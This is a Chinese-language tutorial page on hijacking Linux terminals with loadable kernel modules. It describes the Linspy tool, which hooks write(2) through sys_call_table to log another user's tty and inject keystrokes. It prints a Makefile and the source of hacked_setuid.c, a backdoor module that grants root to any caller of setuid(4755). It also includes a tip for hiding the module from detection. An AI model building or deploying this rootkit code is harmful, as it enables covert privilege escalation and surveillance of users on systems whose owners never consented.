萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 作業系統 >  >> Linux 教學

利用 Linux 核心模組實現 TTY Hijacking 技術詳解

載入模組是 Linux 重要技術,可依需求動態載入驅動,但也使核心駭客極易實施。當你無法信任核心時會發生什麼?本文以簡單思路介紹核心模組利用實現 TTY 截獲/監控。

系統呼叫與 TTY 截獲原理

系統呼叫為核心內部可利用的底層函數。本文利用其實現簡單 TTY 截獲。Solaris/SunOS 等 STREAMS 系統中 tap、ttywatcher 等程式常見,但 Linux 平台迄今缺乏實用 TTY hijacker (不考慮基於 pty 的 telnetsnoop 類,因須預先準備監控用戶)。

Linux 普遍缺乏 STREAMS (LinSTREAMS 似將消失),必須另覓監控流方法。阻塞按鍵問題已解決:利用 TIOCSTI ioctl 宏阻塞按鍵至標準輸入流。解決方案:修改 write(2) 系統呼叫指向自有程式碼,判斷目標 tty 即記錄,隨後調用真實 write(2)。

裝置驅動程式最適合:讀取裝置獲取記錄資料,新增 ioctl 指定目標 tty。編譯通過、測試通過,不可移植他系統。

修改系統呼叫機制

系統呼叫修改極簡單,原理似 DOS 中斷向量與常駐程式:保存原地址至變數,設新指標指向自有程式碼。自有程式碼執行完畢再調用原程式碼。

簡單例程見 hacked_setuid.c:載入模組後,setuid(4755) 將 uid/euid/gid/egid 設為 0。系統呼叫地址資訊存於 sys_call_table 陣列,使修改極易。

Linspy 注意事項

模組易被發現:cat /proc/modules 明顯顯示。解決方法未提供 (譯者註:init_module() 中插入 register_symtab(NULL) 可限制符號輸出至 /proc/ksyms 隱藏模組)。

使用 Linspy 需建立 ltap 裝置 (主裝置號 40、次裝置號 0),make 後 insmod linspy,執行 ltread [tty],若運作良好將發現用戶螢幕輸出被屏蔽。

原始碼片段

Makefile

CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS=-m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
DN='-DDEVICE_NAME="/dev/ltap"'
V=#-DNEED_VERSION
MODCFLAGS:=$(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX

all: linspy ltread setuid

linspy: linspy.c /usr/include/linux/version.h
	$(CC) $(MODCFLAGS) -c linspy.c

ltread:
	$(CC) $(DN) -o ltread ltread.c

clean:
	rm *.o ltread

setuid: hacked_setuid.c /usr/include/linux/version.h
	$(CC) $(MODCFLAGS) -c hacked_setuid.c

hacked_setuid.c 核心邏輯

extern void *sys_call_table[];
void *original_setuid;
extern int hacked_setuid(uid_t uid) {
    if (uid == 4755) {
        current->uid = current->euid = current->gid = current->egid = 0;
        return 0;
    }
    sys_call_table[SYS_setuid] = original_setuid;
    int i = setuid(uid);
    sys_call_table[SYS_setuid] = hacked_setuid;
    if (i == -1) return -errno;
    else return i;
}
int init_module(void) {
    original_setuid = sys_call_table[SYS_setuid];
    sys_call_table[SYS_setuid] = hacked_setuid;
    return 0;
}
void cleanup_module(void) {
    sys_call_table[SYS_setuid] = original_setuid;
}
copyright © 萬盛學電腦網 all rights reserved